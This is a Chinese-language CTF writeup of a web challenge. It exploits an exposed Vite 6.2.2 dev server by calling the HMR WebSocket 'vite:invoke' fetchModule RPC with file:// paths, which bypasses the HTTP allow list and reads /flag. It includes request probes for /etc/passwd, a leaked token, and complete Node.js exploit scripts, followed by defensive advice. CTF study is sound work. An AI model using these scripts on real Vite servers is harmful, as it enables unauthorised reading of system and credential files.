Vite 开发服务器文件读取 CTF 题 Writeup
题目信息
- 目标地址:
http://8.147.132.32:44713/ - 题目类型:Web
- 核心考点:Vite 开发服务器暴露、未授权文件读取、WebSocket RPC 利用
- 最终 Flag:
flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}
一、题目初探
拿到题目地址后,第一步先不要急着打复杂 payload,而是先判断站点类型、框架特征和暴露面。
直接访问首页,可以看到返回内容非常简单:
html
<!doctype html>
<html lang="en">
<head>
<script type="module" src="/@vite/client"></script>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Vite App</title>
</head>
<body>
<div id="app"></div>
<script type="module" src="/src/main.js"></script>
</body>
</html>
从这里可以立刻得到几个非常关键的判断:
- 页面包含
/<at>vite/client,说明目标运行的是 Vite 开发服务器,而不是正常构建后的生产站点。 - 前端入口是
/src/main.js,说明源码很可能直接暴露。 - 标题是
Vite App,高度接近默认模板,说明业务逻辑可能不在前端页面本身,而在开发服务器暴露面或环境配置上。
这里的正确思路不是继续点页面,而是转向:
- 拉取源码
- 探测
@fs文件系统访问能力 - 确认 Vite 版本
- 查找是否存在已知开发服务器漏洞
二、读取前端源码并判断是否为"伪页面"
先访问前端入口:
http
GET /src/main.js HTTP/1.1
Host: 8.147.132.32:44713
返回内容如下:
js
import "/src/style.css";
function setupCounter(element) {
let counter = 0;
const setCounter = (count) => {
counter = count;
element.innerHTML = `count is ${counter}`;
};
element.addEventListener("click", () => setCounter(counter + 1));
setCounter(0);
}
document.querySelector("#app").innerHTML = `
<div>
<h1>Hello Vite!</h1>
<div class="card">
<button id="counter" type="button"></button>
</div>
</div>
`;
setupCounter(document.querySelector("#counter"));
这是 Vite 默认模板代码,没有任何业务逻辑、接口调用或隐藏参数。
这一步结论非常重要:
- 页面本身没有解题点
- 真正的题眼在 Vite 开发服务器配置/暴露面
三、确认 Vite 文件系统暴露能力
Vite 开发环境有一个典型特征:可通过 /@fs/ 访问服务器文件系统中的文件,但正常情况下会受到 server.fs.allow 和 server.fs.deny 规则限制。
于是开始探测:
1. 访问项目内可公开文件
请求:
http
GET /@fs/usr/src/package.json HTTP/1.1
Host: 8.147.132.32:44713
成功返回:
json
{
"name": "vite-project",
"private": true,
"version": "0.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
},
"devDependencies": {
"vite": "6.2.2"
}
}
这一步拿到了两个关键情报:
- 项目根目录是
/usr/src - Vite 版本是
6.2.2
2. 测试是否能越权读系统文件
请求:
http
GET /@fs/etc/passwd HTTP/1.1
Host: 8.147.132.32:44713
返回提示:
html
403 Restricted
The request url "/etc/passwd" is outside of Vite serving allow list.
- /usr/src
说明:
@fs能用- 但 HTTP 层仍受到
allow list限制 - 当前仅允许读取
/usr/src
这意味着直接通过普通 HTTP 访问系统根目录下的 /flag 可能会失败,需要寻找 HTTP 限制之外的开发服务接口
四、继续信息收集:识别这是一个已知 Vite 漏洞题
既然已经拿到:
- 框架:Vite
- 版本:
6.2.2 - 开发模式:开启
- 页面:默认模板
- 文件系统暴露:存在
那么接下来最合理的判断是:这题大概率不是让你"猜路径",而是利用 Vite 开发服务器已知漏洞。
进一步读取客户端脚本:
http
GET /@vite/client HTTP/1.1
Host: 8.147.132.32:44713
在返回内容中可以提取到:
js
const wsToken = "GpbwBXQ3ptg3";
new WebSocket(`${socketProtocol}://${socketHost}?token=${wsToken}`, "vite-hmr")
这里再次出现两个关键点:
- Vite 使用 WebSocket HMR 通道
- 连接需要 token:
GpbwBXQ3ptg3
这说明服务端不只是一个普通静态服务器,它还暴露了 HMR WebSocket 通道
五、为什么普通 HTTP 读不到,但 WebSocket 可能读得到
题目的核心在这里。
Vite 开发服务器除了 HTTP 文件访问能力外,还提供给模块运行器使用的 RPC 机制。客户端和服务端通过 WebSocket 通信,其中一个关键事件是:
text
vite:invoke
服务端对应会调用某些内部函数,其中之一就是:
text
fetchModule(id, importer, options)
这类调用的危险点在于:
- 普通 HTTP 路由会检查
fs.allow - 但内部模块获取逻辑如果直接接受
file://URL,并未做同等级限制,就可能导致越权读文件
这就是这题真正的利用入口。
六、验证 WebSocket 通道可连通
使用 Node 原生 WebSocket 连接:
js
const ws = new WebSocket(
"ws://8.147.132.32:44713/?token=GpbwBXQ3ptg3",
"vite-hmr"
);
连接建立后,服务端会返回:
json
{"type":"connected"}
这一步说明:
- token 正确
- HMR WebSocket 可正常通信
- 可以继续构造自定义 RPC 调用
七、分析 vite:invoke 的消息格式
为了避免盲打,应该先从暴露出来的 node_modules/vite 源码中恢复出 RPC 包格式。
目标可直接访问:
http
GET /@fs/usr/src/node_modules/vite/dist/node/chunks/dep-B0fRCRkQ.js HTTP/1.1
Host: 8.147.132.32:44713
在服务端实现中可以找到如下逻辑:
js
listenerForInvokeHandler = async (payload, client) => {
const responseInvoke = payload.id.replace("send", "response");
client.send({
type: "custom",
event: "vite:invoke",
data: {
name: payload.name,
id: responseInvoke,
data: await handleInvoke({
data: payload
})
}
});
};
handleInvoke 中继续可见:
js
const data = payload.data;
const { name, data: args } = data;
const invokeHandler = invokeHandlers[name];
const result = await invokeHandler(...args);
return { result };
而环境初始化时注册了:
js
fetchModule: (id, importer, options) => {
return this.fetchModule(id, importer, options);
}
这说明 RPC 包结构为:
json
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "send:0",
"data": [目标路径, importer, options]
}
}
八、先做一次"已知存在文件"的校验
在真正读 flag 之前,先用一个已知存在的文件验证利用链是否成立,比如:
text
file:///usr/src/.gitignore?raw
发送如下消息:
json
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "send:0",
"data": ["file:///usr/src/.gitignore?raw", null, {"inlineSourceMap": false}]
}
}
服务端成功响应,返回内容中包含:
json
{
"result": {
"code": "export default \"# Logs\\r\\nlogs\\r\\n...\"",
"file": "/usr/src/.gitignore",
"id": "/usr/src/.gitignore?raw",
"url": "/@fs/usr/src/.gitignore?raw",
"invalidate": false
}
}
这一步的意义非常大,证明了:
vite:invoke可被未授权调用fetchModule确实可通过 WebSocket 被远程触发file://路径可被解析?raw可以把普通文件内容包装成模块导出
到这里,题其实已经解开一半了。
九、猜测 Flag 路径
CTF 容器题里最常见的 flag 路径通常有:
/flag/flag.txt/root/flag/tmp/flag/app/flag/usr/src/flag
结合这类容器题的习惯,/flag 是非常高频的默认放置位置。
于是优先尝试:
text
file:///flag?raw
十、最终利用与拿到 Flag
发送的最终 WebSocket 消息:
json
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "send:4",
"data": ["file:///flag?raw", null, {"inlineSourceMap": false}]
}
}
服务端返回:
json
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "response:4",
"data": {
"result": {
"code": "export default \"flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}\"",
"file": "/flag",
"id": "/flag?raw",
"url": "/@fs/flag?raw",
"invalidate": true
}
}
}
}
从 code 字段中即可直接提取出 flag:
text
flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}
十一、完整利用脚本
下面给出一份可直接复现的 Node.js 脚本。
js
const token = "GpbwBXQ3ptg3";
const target = "file:///flag?raw";
const ws = new WebSocket(
`ws://8.147.132.32:44713/?token=${token}`,
"vite-hmr"
);
ws.addEventListener("open", () => {
const payload = {
type: "custom",
event: "vite:invoke",
data: {
name: "fetchModule",
id: "send:1",
data: [target, null, { inlineSourceMap: false }]
}
};
ws.send(JSON.stringify(payload));
});
ws.addEventListener("message", (ev) => {
console.log(ev.data.toString());
});
如果需要自动提取 flag,也可以用下面这个版本:
js
const token = "GpbwBXQ3ptg3";
const target = "file:///flag?raw";
const ws = new WebSocket(
`ws://8.147.132.32:44713/?token=${token}`,
"vite-hmr"
);
ws.addEventListener("open", () => {
ws.send(JSON.stringify({
type: "custom",
event: "vite:invoke",
data: {
name: "fetchModule",
id: "send:1",
data: [target, null, { inlineSourceMap: false }]
}
}));
});
ws.addEventListener("message", (ev) => {
const msg = JSON.parse(ev.data);
if (msg.type === "custom" && msg.event === "vite:invoke") {
const code = msg.data?.data?.result?.code || "";
const m = code.match(/flag\\{[^"]+\\}/);
if (m) {
console.log("FLAG:", m[0]);
ws.close();
}
}
});
十二、题目原理总结
这道题的本质不是"前端源码泄露",而是:
- 目标暴露了 Vite 开发服务器
- 前端源码、项目结构、依赖版本因此可直接被读取
- 通过
@vite/client可以拿到 HMR WebSocket token - 通过暴露的
node_modules/vite源码可以反推出vite:invokeRPC 格式 - 通过
fetchModule(file://... ?raw)可以绕过普通 HTTP 路由的访问限制 - 最终从系统根目录读取
/flag
换句话说,漏洞链不是单点,而是一个完整的开发环境暴露利用链:
text
Vite 开发环境暴露
-> 可读源码和依赖
-> 获取 HMR token
-> 连接 WebSocket
-> 调用 vite:invoke / fetchModule
-> 读取 file:///flag?raw
-> 拿到 flag
十三、为什么这题设计得比较典型
这是一道比较标准的现代前端开发服务器利用题,原因在于它考察的不是传统 Web 漏洞,而是:
- 对前端工程化工具链的理解
- 对开发环境与生产环境差异的理解
- 对 WebSocket 内部 RPC 的利用能力
- 对源码审计与快速定位关键函数的能力
如果只停留在"访问首页、看源码、扫目录"的层面,很容易误以为这题没有内容。真正的突破点在于意识到:
题目故意给了一个默认 Vite 页面,真正的漏洞点藏在开发服务器本身。
十四、解题过程中的关键判断复盘
这里把整道题最重要的判断节点再总结一遍:
1. 首页出现 @vite/client
这不是普通站点,而是 Vite 开发环境。
2. /src/main.js 是默认模板
说明前端页面不是主战场。
3. /@fs/usr/src/package.json 可读
确认存在文件系统暴露,并拿到 Vite 版本 6.2.2。
4. /@fs/etc/passwd 被 allow list 拦截
说明普通 HTTP 文件读取受限,需要寻找旁路。
5. @vite/client 泄露 wsToken
HMR WebSocket 可以利用。
6. node_modules/vite 可读
可以直接审计源码,恢复 RPC 协议格式。
7. file:///usr/src/.gitignore?raw 成功
证明 WebSocket fetchModule 利用链成立。
8. file:///flag?raw 成功
直接拿到最终 flag。
十五、最终答案
text
flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}
十六、附:简要防护建议
从防守视角看,这类问题的核心修复思路有以下几条:
- 不要把 Vite 开发服务器直接暴露到公网。
- 开发环境不要承载真实敏感文件。
- 禁止未授权访问 HMR/WebSocket 调试通道。
- 升级到修复相关安全问题的 Vite 版本。
- 将开发、测试、生产环境彻底隔离。
以上就是本题完整 writeup。